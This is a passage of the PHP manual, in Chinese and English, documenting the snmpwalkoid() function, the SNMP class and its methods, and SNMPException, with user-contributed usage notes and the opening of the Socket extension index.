如果为 null，则将 object_id 作为 SNMP 对象树的根，并且该树下的所有对象都作为数组返回。

如果指定了 object_id，则返回该 object_id 下面的所有 SNMP 对象。

timeout

第一次超时前的微秒数。

retries

发生超时时重试的次数。

返回值

返回关联数组，其中包含对象 ID 及其各自的对象值，从 object_id 开始为 root 或错误时为 false。

示例

Example #1 snmpwalkoid() 示例

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
for (reset($a); $i = key($a); next($a)) {
echo "$i: $a[$i]<br />\n";
}
?>

上面的函数调用将从本地主机上运行的 SNMP 代理返回所有 SNMP 对象。可以通过循环遍历这些值

参见

  • snmpwalk() - 从代理获取所有 SNMP 对象

User Contributed Notes

Anonymous 21-Nov-2014 10:00
make sure you install "snmp-mibs-downloader" in debian.

apt-get install snmp-mibs-downloader

you my also need to edit your /etc/apt/sources.list

deb http://ftp.us.debian.org/debian/ wheezy main contrib non-free
deb-src http://ftp.us.debian.org/debian/ wheezy main contrib non-free
thammer at rtccom dot com 14-Jun-2005 08:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
    $mac_arr = explode(':',$mac);
    foreach($mac_arr as $atom) {
        $atom = trim($atom);
        $newarr[] = sprintf("%02s",$atom);
    }
    $newmac = implode(':',$newarr);
    return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com 14-Oct-2004 09:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net 06-Jan-2001 07:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...


The SNMP class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

Represents SNMP session.

类摘要

class SNMP {
/* 常量 */
public const int VERSION_1;
public const int VERSION_2c;
public const int VERSION_2C;
public const int VERSION_3;
public const int ERRNO_NOERROR;
public const int ERRNO_ANY;
public const int ERRNO_GENERIC;
public const int ERRNO_TIMEOUT;
public const int ERRNO_ERROR_IN_REPLY;
public const int ERRNO_OID_NOT_INCREASING;
public const int ERRNO_OID_PARSING_ERROR;
public const int ERRNO_MULTIPLE_SET_QUERIES;
/* 属性 */
public readonly array $info;
public ?int $max_oids;
public int $valueretrieval;
public bool $quick_print;
public bool $enum_print;
public int $oid_output_format;
public bool $oid_increasing_check;
public int $exceptions_enabled;
/* 方法 */
public __construct(
int $version,
string $hostname,
string $community,
int $timeout = -1,
int $retries = -1
)
public close(): bool
public get(array|string $objectId, bool $preserveKeys = false): mixed
public getErrno(): int
public getError(): string
public getnext(array|string $objectId): mixed
public set(array|string $objectId, array|string $type, array|string $value): bool
public setSecurity(
string $securityLevel,
string $authProtocol = "",
string $authPassphrase = "",
string $privacyProtocol = "",
string $privacyPassphrase = "",
string $contextName = "",
string $contextEngineId = ""
): bool
public walk(
array|string $objectId,
bool $suffixAsKey = false,
int $maxRepetitions = -1,
int $nonRepeaters = -1
): array|false
}

属性

max_oids

Maximum OID per GET/SET/GETBULK request

valueretrieval

Controls the method how the SNMP values will be returned

SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type information.
SNMP_VALUE_OBJECT | The return values will be objects with the properties "value" and "type", where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way "value" is returned is based on which one of SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set
quick_print

Value of quick_print within the NET-SNMP library

Sets the value of quick_print within the NET-SNMP library. When this is set (1), the SNMP library will return 'quick printed' values. This means that just the value will be printed. When quick_print is not enabled (default) the NET-SNMP library prints extra information including the type of the value (i.e. IpAddress or OID). Additionally, if quick_print is not enabled, the library prints additional hex values for all strings of three characters or less.

enum_print

Controls the way enum values are printed

Parameter toggles if walk/get etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

oid_output_format

Controls OID output format

OID .1.3.6.1.2.1.1.3.0 representation for various oid_output_format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined
oid_increasing_check

Controls disabling check for increasing OID while walking OID tree

Some SNMP agents are known for returning OIDs out of order but can complete the walk anyway. Other agents return OIDs that are out of order and can cause SNMP::walk() to loop indefinitely until memory limit will be reached. PHP SNMP library by default performs OID increasing check and stops walking on OID tree when it detects possible loop with issuing warning about non-increasing OID faced. Set oid_increasing_check to false to disable this check.

exceptions_enabled

Controls which failures will raise SNMPException instead of warning. Use bitwise OR'ed SNMP::ERRNO_* constants. By default all SNMP exceptions are disabled.

info

Read-only property with remote agent configuration: hostname, port, default timeout, default retries count

预定义常量

SNMP Error Types

SNMP::ERRNO_NOERROR

No SNMP-specific error occurred.

SNMP::ERRNO_GENERIC

A generic SNMP error occurred.

SNMP::ERRNO_TIMEOUT

Request to SNMP agent timed out.

SNMP::ERRNO_ERROR_IN_REPLY

SNMP agent returned an error in reply.

SNMP::ERRNO_OID_NOT_INCREASING

SNMP agent faced OID cycling reporning non-increasing OID while executing (BULK)WALK command. This indicates bogus remote SNMP agent.

SNMP::ERRNO_OID_PARSING_ERROR

Library failed while parsing OID (and/or type for SET command). No queries has been made.

SNMP::ERRNO_MULTIPLE_SET_QUERIES

Library will use multiple queries for SET operation requested. That means that operation will be performed in a non-transaction manner and second or subsequent chunks may fail if a type or value failure will be faced.

SNMP::ERRNO_ANY

All SNMP::ERRNO_* codes bitwise OR'ed.

SNMP Protocol Versions

SNMP::VERSION_1

SNMP::VERSION_2C, SNMP::VERSION_2c

SNMP::VERSION_3

Table of Contents

  • SNMP::close — Close SNMP session
  • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
  • SNMP::get — Fetch an SNMP object
  • SNMP::getErrno — Get last error code
  • SNMP::getError — Get last error message
  • SNMP::getnext — Fetch an SNMP object which follows the given object id
  • SNMP::set — Set the value of an SNMP object
  • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
  • SNMP::walk — Fetch SNMP object subtree

User Contributed Notes

swannie at swannie dot net 05-Mar-2021 06:17
Hopefully this helps someone else out because this was driving be bonkers for a good two hours.  It looks like valueretrieval and enum_print work together in a way that I wasn't expecting, and after re-reading may be by design but I'm not sure.  If you can't get enums to print, this might be why.

<?php
 $snmp = new SNMP(SNMP::VERSION_2C,'192.168.1.9','test');
 $snmp->oid_output_format = SNMP_OID_OUTPUT_SUFFIX;
 $snmp->valueretrieval = SNMP_VALUE_PLAIN;
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->quick_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->valueretrieval = SNMP_VALUE_LIBRARY;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
?>

Output:
1
1
1
1
up
madjev1990 at gmail dot com 04-Mar-2016 10:13
Part of my diploma thesis was to create web interface to command device via SNMP. So I create my own level of abstraction over SNMP class:

<?php

/**
 * Snmp library which add one level of abstraction to snmp native library.
 * It adds functionality to work with module PicoIP.With this library you can:
 * 1.Activate/deactive defined pin;
 * 2.Get status of all pins.
 *
 * When make an instance you should pass to the constructor key word which will
 * make the library create an object with necessary properetis and access permissions.
 *
 * Private properties set some of configurations:
 * Host is IP address of the divece which we will command.
 * Two passwords are set for reading and writing.
 * Version of snmp protocol that we will use is version 1.
 *
 * @author Radoslav Madjev
 * @year 2016
 * @version 1.0 beta
 *
 *
 */
class snmp_lib {

    private $snmpInstance;
    private $VERSION = SNMP::VERSION_1;
    private $HOST = '192.168.0.150';
    private $passwordRead = '000000000000';
    private $passwordWrite = 'private';
    private $releys = array(1 => '1.3.6.1.4.1.19865.1.2.1.1.0',
        2 => '1.3.6.1.4.1.19865.1.2.1.2.0');
    private $allPorts = array('3' => '1.3.6.1.4.1.19865.1.2.1.33.0',
        '5' => '1.3.6.1.4.1.19865.1.2.2.33.0');

    /**
     * Create instance of SNMP native class, based on actions that we will
     * perform.
     *
     * @param string $action
     */
    public function __construct($action) {
        if (in_array($action, array('read', 'write'))) {
            if (strcmp($action, 'read') === 0) {
                $this->_read();
            } else {
                $this->_write();
            }
        }
    }

    /**
     * Create instance with reading permissions.
     */
    private function _read() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordRead);
    }

    /**
     * Create instance with writing permissions.
     */
    private function _write() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordWrite);
    }

    /**
     * Close snmp session.
     *
     * @return boolean
     */
    public function closeSession() {
        return $this->snmpInstance->close();
    }

    /**
     * Set integer 1 as value of defined pin.
     */
    public function activate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '1');
    }

    /**
     * Set integer 0 as value of defined pin.
     */
    public function deactivate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '0');
    }

    /**
     * Get pin status of all ports of the module.
     *
     * @return array
     */
    public function getAllPortsStatus() {
        $allPins = array();
        foreach ($this->allPorts as $number => $port) {
            //get active pins as 8-bit integer of defined port
            $getbits = $this->snmpInstance->get($port);
            $bits = str_replace('INTEGER: ', '', $getbits);
            //get pins status
            $pinsStatus = $this->_getActivePins($bits);
            $allPins[$number] = $pinsStatus;
        }

        return $allPins;
    }

    /**
     * Make bitwise operation which will determine,
     * which are active pins.
     *
     * @param int $bits
     * @return array
     */
    private function _getActivePins($bits) {

        $bitMapping = array(
            1 => 1,
            2 => 2,
            3 => 4,
            4 => 8,
            5 => 16,
            6 => 32,
            7 => 64,
            8 => 128
        );

        $pinsStatus = array();

        foreach ($bitMapping as $int => $bit) {
            if (($bits & $bit) == $bit) {
                $pinsStatus[$int] = true;
                continue;
            }
            $pinsStatus[$int] = false;
        }

        return $pinsStatus;
    }

}

?>

I have one module that receive SNMP request and send a command to relays. Also these are example scripts that use this lib:
Turn on script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
$snmp->activate($getRelayNumber);
$snmp->closeSession();
?>

Turn off script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
$snmp->deactivate($getRelayNumber);
$snmp->closeSession();
?>

Script that get all ports status:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('read');
$getActive = $snmp->getAllPortsStatus();
?>


Close SNMP session

  • ? SNMP
  • SNMP::__construct ?
  • PHP Manual
  • SNMP
  • Close SNMP session

SNMP::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::close — Close SNMP session

说明

public SNMP::close(): bool

Frees previously allocated SNMP session object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SNMP::close() example

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
# ...
# get, walk, etc goes here
# ...
$session->close();
?>

参见

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.


Creates SNMP instance representing session to remote SNMP agent

  • ? SNMP::close
  • SNMP::get ?
  • PHP Manual
  • SNMP
  • Creates SNMP instance representing session to remote SNMP agent

SNMP::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent

说明

public SNMP::__construct(
int $version,
string $hostname,
string $community,
int $timeout = -1,
int $retries = -1
)

The function description goes here.

参数

version

SNMP protocol version:
SNMP::VERSION_1,
SNMP::VERSION_2C,
SNMP::VERSION_3.

hostname

The SNMP agent. hostname may be suffixed with optional SNMP agent port after colon. IPv6 addresses must be enclosed in square brackets if used with port. If FQDN is used for hostname it will be resolved by php-snmp library, not by Net-SNMP engine. Usage of IPv6 addresses when specifying FQDN may be forced by enclosing FQDN into square brackets. Here it is some examples:

IPv4 with default port | 127.0.0.1
IPv6 with default port | ::1 or [::1]
IPv4 with specific port | 127.0.0.1:1161
IPv6 with specific port | [::1]:1161
FQDN with default port | host.domain
FQDN with specific port | host.domain:1161
FQDN with default port, force usage of IPv6 address | [host.domain]
FQDN with specific port, force usage of IPv6 address | [host.domain]:1161

community

The purpuse of community is SNMP version specific:

SNMP::VERSION_1 | SNMP community
SNMP::VERSION_2C | SNMP community
SNMP::VERSION_3 | SNMPv3 securityName
timeout

The number of microseconds until the first timeout.

retries

The number of retries in case timeout occurs.

错误／异常

SNMP::__construct() throws an exception when parameters count or types are wrong or unknown SNMP protocol version specified.

示例

Example #1 Fetching sysLocation

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$sysdescr = $session->get("sysDescr.0");
echo "$sysdescr\n";
?>

以上示例的输出类似于：

STRING: Test server

参见

  • SNMP::close() - Close SNMP session

User Contributed Notes

There are no user contributed notes for this page.


Fetch an SNMP object

  • ? SNMP::__construct
  • SNMP::getErrno ?
  • PHP Manual
  • SNMP
  • Fetch an SNMP object

SNMP::get

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::get — Fetch an SNMP object

说明

public SNMP::get(array|string $objectId, bool $preserveKeys = false): mixed

Fetch an SNMP object specified in objectId using GET query.

参数

If objectId is a string, then SNMP::get() will return SNMP object as string. If objectId is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

objectId

The SNMP object (OID) or objects

preserveKeys

When objectId is a array and preserveKeys set to true keys in results will be taken exactly as in objectId, otherwise SNMP::oid_output_format property is used to determinate the form of keys.

返回值

Returns SNMP objects requested as string or array depending on objectId type or false on error.

错误／异常

本方法默认不抛出任何异常。如果要在某些库出错时抛出 SNMPException 异常，用户需要将 SNMP 类参数 exceptions_enabled 设定为相应的值。更多细节见 SNMP::$exceptions_enabled 的解释。

示例

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$sysdescr = $session->get("sysDescr.0");
echo "$sysdescr\n";
$sysdescr = $session->get(array("sysDescr.0"));
print_r($sysdescr);
?>

以上示例的输出类似于：

STRING: Test server
Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
)

Example #2 Multiple SNMP objects

$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$results = $session->get(array("sysDescr.0", "sysName.0"));
print_r($results);
$session->close();

以上示例的输出类似于：

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysName.0] => STRING: myhost.nodomain
)

参见

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Get last error code

  • ? SNMP::get
  • SNMP::getError ?
  • PHP Manual
  • SNMP
  • Get last error code

SNMP::getErrno

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getErrno — Get last error code

说明

public SNMP::getErrno(): int

Returns error code from last SNMP request.

参数

此函数没有参数。

返回值

Returns one of SNMP error code values described in constants chapter.

示例

Example #1 SNMP::getErrno() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getErrno() == SNMP::ERRNO_TIMEOUT);
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Get last error message

  • ? SNMP::getErrno
  • SNMP::getnext ?
  • PHP Manual
  • SNMP
  • Get last error message

SNMP::getError

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getError — Get last error message

说明

public SNMP::getError(): string

Returns string with error from last SNMP request.

参数

此函数没有参数。

返回值

String describing error from last SNMP request.

示例

Example #1 SNMP::getError() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getError());
?>

以上示例会输出：

bool(false)
string(26) "No response from 127.0.0.1"

参见

  • SNMP::getErrno() - Get last error code

User Contributed Notes

There are no user contributed notes for this page.


Fetch an SNMP object which follows the given object id

  • ? SNMP::getError
  • SNMP::set ?
  • PHP Manual
  • SNMP
  • Fetch an SNMP object which follows the given object id

SNMP::getnext

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getnext — Fetch an SNMP object which follows the given object id

说明

public SNMP::getnext(array|string $objectId): mixed

Fetch an SNMP object that follows specified objectId.

参数

If objectId is a string, then SNMP::getnext() will return SNMP object as string. If objectId is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

objectId

The SNMP object (OID) or objects

返回值

Returns SNMP objects requested as string or array depending on objectId type or false on error.

错误／异常

本方法默认不抛出任何异常。如果要在某些库出错时抛出 SNMPException 异常，用户需要将 SNMP 类参数 exceptions_enabled 设定为相应的值。更多细节见 SNMP::$exceptions_enabled 的解释。

示例

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$nsysdescr = $session->getnext("sysDescr.0");
echo "$nsysdescr\n";
$nsysdescr = $session->getnext(array("sysDescr.0"));
print_r($nsysdescr);
?>

以上示例的输出类似于：

OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
)

Example #2 Miltiple SNMP objects

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$results = $session->getnext(array("sysDescr.0", "sysName.0"));
print_r($results);
$session->close();
?>

以上示例的输出类似于：

Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [SNMPv2-MIB::sysLocation.0] => STRING: Nowhere
)

参见

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Set the value of an SNMP object

  • ? SNMP::getnext
  • SNMP::setSecurity ?
  • PHP Manual
  • SNMP
  • Set the value of an SNMP object

SNMP::set

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::set — Set the value of an SNMP object

说明

public SNMP::set(array|string $objectId, array|string $type, array|string $value): bool

Requests remote SNMP agent setting the value of one or more SNMP objects specified by the objectId.

参数

If objectId is string, both type and value must be string too. If objectId is array value must be equal-sized array containing corresponding values, type may be either string (it's value will be used for all objectId-value pairs) or equal-sized array with per-OID value. When any other parameters' combinations are used, a number of E_WARNING messages may be shown with detailed description.

objectId

The SNMP object id

When count of OIDs in object_id array is greater than max_oids object property set method will have to use multiple queries to perform requested value updates. In this case type and value checks are made per-chunk so second or subsequent requests may fail due to wrong type or value for OID requested. To mark this a warning is raised when count of OIDs in object_id array is greater than max_oids.

type

MIB 定义了各个对象 id 的类型。必须是下面列出的单个字符之一。

类型
= MIB类型
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

如果在编译 SNMP 库时定义了 OPAQUE_SPECIAL_TYPES，那么下列值是合法的：

types
U | unsigned int64
I | signed int64
F | float
D | double

这些值大都会使用与 ASN.1 相符的类型。's'，'x'，'d' 以及 'b' 都是指定一个八字节字符串值的方式。并且 'u' 无符号类型也可用于处理 Gauge32 值。

如果 MIB 文件是用 "snmp_read_mib" 或者通过在 libsnmp config 中指定而加载入 MIB 树时， '=' 可以被用作为所有对象的 type 参数，因为 type 可以被自动从 MIB 中读取。

注意有两种方式可以设定 BITS 类型的变量，例如 "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • 使用 "b" 类型以及一个位数的列表。不推荐使用此方法，因为 GET 查询对同一个 OID 将会返回例如 0xF8。
  • 使用 "x" 类型以及一个十六进制数但是不需要通常的 "0x" 前缀。

更多细节见示例部分。

value

The new value.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

本方法默认不抛出任何异常。如果要在某些库出错时抛出 SNMPException 异常，用户需要将 SNMP 类参数 exceptions_enabled 设定为相应的值。更多细节见 SNMP::$exceptions_enabled 的解释。

示例

Example #1 Set single SNMP object id

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set('SNMPv2-MIB::sysContact.0', 's', "Nobody");
?>

Example #2 Set multiple values using single SNMP::set() call

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), array('s', 's'), array("Nobody", "Nowhere"));
// or
$session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), 's', array("Nobody", "Nowhere"));
?>

Example #3 Using SNMP::set() for setting BITS SNMP object id

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
$session->set('FOO-MIB::bar.42', 'x', 'F0');
?>

参见

  • SNMP::get() - Fetch an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Configures security-related SNMPv3 session parameters

  • ? SNMP::set
  • SNMP::walk ?
  • PHP Manual
  • SNMP
  • Configures security-related SNMPv3 session parameters

SNMP::setSecurity

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::setSecurity — Configures security-related SNMPv3 session parameters

说明

public SNMP::setSecurity(
string $securityLevel,
string $authProtocol = "",
string $authPassphrase = "",
string $privacyProtocol = "",
string $privacyPassphrase = "",
string $contextName = "",
string $contextEngineId = ""
): bool

setSecurity configures security-related session parameters used in SNMP protocol version 3

参数

securityLevel

the security level (noAuthNoPriv|authNoPriv|authPriv)

authProtocol

the authentication protocol (MD5 or SHA)

authPassphrase

the authentication pass phrase

privacyProtocol

the privacy protocol (DES or AES)

privacyPassphrase

the privacy pass phrase

contextName

the context name

contextEngineId

the context EngineID

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SNMP::setSecurity() example

<?php
$session = new SNMP(SNMP::VERSION_3, $hostname, $rwuser, $timeout, $retries);
$session->setSecurity('authPriv', 'MD5', $auth_pass, 'AES', $priv_pass, '', 'aeeeff');
?>

参见

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.


Fetch SNMP object subtree

  • ? SNMP::setSecurity
  • SNMPException ?
  • PHP Manual
  • SNMP
  • Fetch SNMP object subtree

SNMP::walk

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::walk — Fetch SNMP object subtree

说明

public SNMP::walk(
array|string $objectId,
bool $suffixAsKey = false,
int $maxRepetitions = -1,
int $nonRepeaters = -1
): array|false

SNMP::walk() is used to read SNMP subtree rooted at specified objectId.

参数

objectId

Root of subtree to be fetched

suffixAsKey

By default full OID notation is used for keys in output array. If set to true subtree prefix will be removed from keys leaving only suffix of object_id.

nonRepeaters

This specifies the number of supplied variables that should not be iterated over. The default is to use this value from SNMP object.

maxRepetitions

This specifies the maximum number of iterations over the repeating variables. The default is to use this value from SNMP object.

返回值

Returns an associative array of the SNMP object ids and their values on success or false on error. When a SNMP error occures SNMP::getErrno() and SNMP::getError() can be used for retrieving error number (specific to SNMP extension, see class constants) and error message respectively.

错误／异常

本方法默认不抛出任何异常。如果要在某些库出错时抛出 SNMPException 异常，用户需要将 SNMP 类参数 exceptions_enabled 设定为相应的值。更多细节见 SNMP::$exceptions_enabled 的解释。

示例

Example #1 SNMP::walk() example

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$fulltree = $session->walk(".");
print_r($fulltree);
$session->close();
?>

以上示例的输出类似于：

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [DISMAN-EVENT-MIB::sysUpTimeInstance] => Timeticks: (1150681750) 133 days, 4:20:17.50
    [SNMPv2-MIB::sysContact.0] => STRING: Nobody
    [SNMPv2-MIB::sysName.0] => STRING: server.localdomain
    ...
)

Example #2 suffixAsKey example

suffixAsKey may be used when merging multiple SNMP subtrees into one. This example maps interface names to their type.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$session->valueretrieval = SNMP_VALUE_PLAIN;
$ifDescr = $session->walk(".1.3.6.1.2.1.2.2.1.2", TRUE);
$session->valueretrieval = SNMP_VALUE_LIBRARY;
$ifType = $session->walk(".1.3.6.1.2.1.2.2.1.3", TRUE);
print_r($ifDescr);
print_r($ifType);
$result = array();
foreach($ifDescr as $i => $n) {
$result[$n] = $ifType[$i];
}
print_r($result);
?>

以上示例的输出类似于：

Array
(
    [1] => igb0
    [2] => igb1
    [3] => ipfw0
    [4] => lo0
    [5] => lagg0
)
Array
(
    [1] => INTEGER: ieee8023adLag(161)
    [2] => INTEGER: ieee8023adLag(161)
    [3] => INTEGER: ethernetCsmacd(6)
    [4] => INTEGER: softwareLoopback(24)
    [5] => INTEGER: ethernetCsmacd(6)
)
Array
(
    [igb0] => INTEGER: ieee8023adLag(161)
    [igb1] => INTEGER: ieee8023adLag(161)
    [ipfw0] => INTEGER: ethernetCsmacd(6)
    [lo0] => INTEGER: softwareLoopback(24)
    [lagg0] => INTEGER: ethernetCsmacd(6)
)

参见

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


The SNMPException class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

Represents an error raised by SNMP. You should not throw a SNMPException from your own code. See Exceptions for more information about Exceptions in PHP.

类摘要

class SNMPException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

code

SNMP library error code. Use Exception::getCode() to access it.

User Contributed Notes

There are no user contributed notes for this page.


Socket

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Socket Errors
  • Socket 函数
    • socket_accept — 接受套接字上的连接
    • socket_addrinfo_bind — 从给定的 addrinfo 创建并绑定一个套接字
    • socket_addrinfo_connect — 指定 addrinfo 创建并连接套接字
    • socket_addrinfo_explain — 获取有关 addrinfo 的信息
    • socket_addrinfo_lookup — 获取数组，包含有关给定主机名的 getaddrinfo 内容
    • socket_atmark — 确认 socket 是否处于带外数据标记
    • socket_bind — 给套接字绑定名字
    • socket_clear_error — 清除套接字或者最后的错误代码上的错误
    • socket_close — 关闭 Socket 实例
    • socket_cmsg_space — Calculate message buffer size
    • socket_connect — 开启一个套接字连接
    • socket_create_listen — 在端口上打开一个套接字以接受连接
    • socket_create_pair — 创建一对彼此连接的套接字，并用数组存储
    • socket_create — 创建一个套接字（通讯节点）
    • socket_export_stream — Export a socket into a stream that encapsulates a socket
    • socket_get_option — 获取套接字的套接字选项
    • socket_getopt — 别名 socket_get_option
    • socket_getpeername — 获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
    • socket_getsockname — 获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
    • socket_import_stream — 导入 stream
    • socket_last_error — 返回套接字上的最后一个错误
    • socket_listen — 监听套接字的连接
    • socket_read — 从套接字中读取最大长度的数据
    • socket_recv — 从已连接的 socket 接收数据
    • socket_recvfrom — 从套接字接收数据，无论它是否是面向连接的
    • socket_recvmsg — Read a message
    • socket_select — 从给定套接字数组运行带指定超时时间的 select() 系统调用
    • socket_send — 向已连接的套接字发送数据
    • socket_sendmsg — Send a message
    • socket_sendto — 向套接字发送消息，无论它是否已建立连接
    • socket_set_block — 设置套接字为阻塞模式
    • socket_set_nonblock — 设置套接字为非阻塞模式
    • socket_set_option — 为套接字设置套接字选项
    • socket_setopt — 别名 socket_set_option
    • socket_shutdown — 关闭套接字接收或发送，或两者都关闭
    • socket_strerror — 返回描述套接字错误的字符串
    • socket_write — 向套接字写数据
    • socket_wsaprotocol_info_export — 导出 WSAPROTOCOL_INFO 结构体
    • socket_wsaprotocol_info_import — 从另一个进程导入套接字
    • socket_wsaprotocol_info_release — 释放已导出的 WSAPROTOCOL_INFO 结构体
  • Socket — Socket 类
  • AddressInfo — AddressInfo 类

User Contributed Notes

There are no user contributed notes for this page.


简介

Socket 扩展是基于流行的 BSD sockets，实现了和 socket 通讯功能的底层接口，它可以和客户端一样当做一个 socket 服务器。

想了解更通用的客户端 socket 接口，请看
stream_socket_client()，
stream_socket_server()，
fsockopen() 和
pfsockopen()。

使用这些函数时请注意，虽然他们中有很多和 C 函数同名的，但声明却很可能不同。未避免混淆，请仔细阅读函数描述。

